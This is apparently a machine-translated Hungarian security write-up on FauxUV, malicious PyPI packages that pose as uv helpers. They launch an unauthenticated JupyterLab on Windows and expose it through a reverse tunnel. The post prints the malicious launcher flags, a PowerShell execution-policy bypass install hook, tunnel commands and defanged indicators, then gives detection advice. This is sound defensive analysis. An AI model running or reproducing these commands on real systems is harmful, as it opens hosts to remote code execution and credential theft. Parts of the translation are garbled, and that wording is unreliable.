TL, DR
Egy PyPI csomagcsoport kölcsönvette a következő nevet: uv, a gyors és rendkívül népszerű Rust-alapú Python csomagkezelő, hogy uv helpereknek adja ki magukat. Szinte semmilyen valódi funkcionalitást nem szállítanak. Ehelyett egy Windows hasznos adatot szállítanak, amely egy JupyterLab szerver kikapcsolt hitelesítéssel és a későbbi verziókban egy fordított alagúton keresztül közzéteszi a nyilvános interneten.
Ez az egész történet egy sorban: egy megbízható eszköz nevét használjuk csaliként, a JupyterLab-ot pedig távoli kódvégrehajtási motorként. Egy Jupyter szerver bármilyen kódot futtat, amit beírsz egy notebook cella; az egyik üres tokennel indult és minden hálózati interfészhez kötött, egy nyílt interpreter, amelyet bárki vezérelhet, aki el tudja érni a portot.
A klasztert a következőképpen követjük nyomon: FauxUVA két vizsgált csomag a következő. moon-uv (0.0.1 – 0.0.16) és my-magic-uv-helper (0.0.1), ugyanazon üzemeltető tette közzé, és az elemzés időpontjában elérhető a PyPI-n.
| Az ökoszisztéma | PyPI |
| Csomagok | moon-uv (0.0.1-0.0.16), my-magic-uv-helper (0.0.1) |
| Platform célzott | Windows |
| Alapvető viselkedés | Nem hitelesített JupyterLab szerver, amelyet fordított alagúton keresztül tettek közzé az interneten |
| Legális eszközökkel visszaélés történt | UV, JupyterLab, cloudflared, Pingy |
A csali: egy név, amiben már megbízol
uv az elmúlt két év egyik leggyakrabban telepített Python eszköze, tehát „egy segítő a uv„egy olyan csomag, amelyet a fejlesztő gondolkodás nélkül telepít. A FauxUV teljes mértékben erre a névre építi a hitelességét. A csomagok a következőket foglalják magukban: valódi uv telepítő az Astralból – a hasznos adatokban található URL-ek valódi, megbízható tárhelyszolgáltatókra mutatnak –, így egy gyors pillantással csak megbízható hivatkozásokat láthatunk. Egyik csomag sem ad hozzá valójában uv funkcionalitás; a név az egész álca.
JupyterLab, mint RCE motor
A hasznos teher központi eleme egy indító, amely minden védőkorlát eltávolításával elindítja a JupyterLabot:
jupyter server --with jupyterlab --ip=0.0.0.0 # listen on every interface --ServerApp.token="" # no password, no token --allow_origin='*' # accept cross-origin connections --disable_check_xsrf # allow a remote browser/WebSocket to drive it Minden egyes zászló eltávolít egy védelmet, és a szállított szkript még megjegyzéseket is tartalmaz (az eredeti kínaiban): az üres token „Kikapcsolja a jelszó- és tokenellenőrzéseket – bárki csatlakozhat.” jupyter labor egy legitim adattudományi IDE, de nemebook a cella tetszőleges kódot hajt végre. Így van konfigurálva és ehhez van kötve 0.0.0.0, megszűnik IDE lenni, és egy nem hitelesített távoli shell lesz a gazdagépen – nincs szükség egyéni kártevő bináris fájlra, csak egy rossz irányba mutató mainstream eszközre.
Két támogató elem teszi ezt elérhetővé és megismételhetővé:
- Csendes telepítési trigger. A korai verziók PowerShellt futtatnak -ExecutionPolicy Bypass egyenesen setup.py on pip telepítés, a háttérben, elnyomott hibákkal, így gyümölcsmag normálisnak tűnik. A későbbi verziók ugyanazt a primitívet egy pip-uv parancssori eszközt — és teljesen elhagyná a telepítési idejű automatikus futtatást.
- Nyilvános fordított alagút. Egy szerver bekapcsolva 0.0.0.0 továbbra is csak azok a hosztok érhetik el, amelyek képesek a géphez irányítani. Egy csomagolt modul megnyit egy [Pingy](https://pinggy.io/) SSH fordított alagút, amely a helyi Jupyter portot egy nyilvános címre továbbítja, megszüntetve ezt a korlátot. A szállított szkript egy alternatív útvonalat is tartalmaz – kikommentelve – a Cloudflare használatával fellobbanó felhő és egy netsh port-proxy egy Linode IP-címre, ugyanazon cél dokumentálása különböző infrastruktúrán keresztül.
Összerakva: telepítsd a csomagot, és egy Windows-os gazdagép futtat egy jelszó nélküli JupyterLabot, majd közzéteszi azt a nyílt interneten.
Hogyan fejlődött ki a FauxUV
A FauxUV verziói gyors egymásutánban kerültek kiszállításra, és a hasznos teher triggerpontja is áthaladt rajtuk – emlékeztetőül arra, hogy egyetlen megjelölt verzió ritkán meséli el egy csomag teljes történetét.
| Színpad | változatok | ravasz | Mit ad hozzá |
|---|---|---|---|
| Install-hook | moon-uv 0.0.1-0.0.3, my-magic-uv-helper 0.0.1 | setup.py pip telepítéskor | uv telepítés + PATH előtag |
| CLI-futásidejű | moon-uv 0.0.5-0.0.13 | pip-uv parancs | a jelszó nélküli JupyterLab indító |
| Alagút | moon-uv 0.0.14-0.0.16 | pip-uv parancs | egy aktív Pingy fordított alagút |
Figyelemre méltó, hogy a telepítési idő alatti automatikus futtatás eltávolítása a későbbi, hatékonyabb verziókban – tehát egy csak az életciklusra beállított szkenner hooks az újabb kiadásokat pontozná kevesebb kockázatos, pont fordítva.
A kompromisszum mutatói
A csomag forráskódjának beolvasásával megerősítve; a végpontok megjelölve kommentálta jelen vannak a fájlokban, de az elemzett verzió nem hajtja végre őket. A hálózati indikátorok hatástalanítottak.
| típus | Mutató |
|---|---|
| Telepítési parancs | powershell -ExecutionPolicy Bypass az eredeti UV telepítő lekérése a pip telepítése során |
| JupyterLab jelzők | --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf |
| Fordított alagút (aktív) | free[.]pinggy[.]io:443 helyi továbbítás 127.0.0.1:8888 |
| Alagútgazda (hozzászólva) | cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718 |
| IP (kommentált) | 45[.]79[.]134[.]161 (Linode) keresztül netsh port-proxy |
| Kitartás | előtag %USERPROFILE%\.local\bin a felhasználó PATH-jához |
Figyelmeztetésre érdemes viselkedési jelek, ezektől a konkrét karakterláncoktól függetlenül: a pip telepítés ami születik powershell -ExecutionPolicy megkerülése; bármilyen jupyter indítás kombinálása token=”” ahol –ip=0.0.0.0és kimenő SSH-val ide: *.pinggy.io egy fejlesztőből vagy CI-gépből.
Megfigyelt viselkedés és származás
A két csomagnak van egy szerzője és egy metódusa: egy megbízható eszköz neve, csak Windowsra optimalizált kapuzás, hibáktól mentes háttérfuttatás, és megbízható eszközökre való támaszkodás, így egy gyors pillantással csak megbízható URL-eket láthatunk. A forrás kínai nyelvű megjegyzéseket tartalmaz, amelyek világosan leírják a biztonsággal kapcsolatos jelzőket; ezeket megfigyelhető állításokként közöljük a fájlban, nem pedig az indítékra vonatkozó állításként. allow_origin érték és egy colab.bat A fájlnév a Google Colabon keringő informális „helyi futtatókörnyezet megosztása” munkafolyamatokat idézi. Bármi is legyen az eredet, a csomagolt eredmény ugyanaz.
Hatás és útmutatás a védők számára
Kik vannak kitéve a FauxUV-nek? Windows fejlesztők és CI futtatók, akik pip telepítés az egyik ilyen csomag. Egy jelszó nélküli JupyterLab a 0.0.0.0 távoli kódfuttatást tesz lehetővé bárki számára, aki el tudja érni a portot; az alagút megszünteti a „ki érheti el” korlátozást. A szerver a telepítő felhasználóként fut, örökölve a felhasználó fájljait, tokenjeit és felhőalapú hitelesítő adatait.
Miért könnyű elmulasztani. Minden hálózati lánc egy megbízható tárhelyszolgáltatóra mutat – Astral, JupyterLab, fellobbanó felhő, Pingy, Colab. Nincs olyan rosszindulatú bináris fájl, amelyet hashelni kellene, és nincs olyan obfuszkált blob, amelyet dekódolni kellene. A reputáció- és az aláírás-alapú vizsgálat is alábecsüli ezt, ezért a viselkedési kérdés — Mit csinál a gép a csomag telepítésével? — az, aki elkapja.
Tanácsadás:
- Bármely telepítési idő kezelése powershell -ExecutionPolicy megkerülése buildtörést jelző jelként, bármilyen URL-t is kér le.
- Figyelmeztetés jupyter üres tokennel indították, és –ip=0.0.0.0; ennek a kombinációnak soha nem szabad megjelennie munkaállomáson vagy futtatóprogramon.
- Kimenő SSH-kapcsolatok figyelése alagútszolgáltatók felé (*.pinggy.io, *.trycloudflare.com) fejlesztői és CI környezetekből.
- Telepítés uv [hivatalos forrásából](https://docs.astral.sh/uv/) és légy szkeptikus a harmadik féltől származó „segítő” csomagokkal szemben, amelyek egy amúgy is triviálisan telepíthető eszközt csomagolnak be.
- Függőségek rögzítése és újbóli ellenőrzése frissítéskor – egy csomagsor verzióról verzióra bővítheti új képességeit.



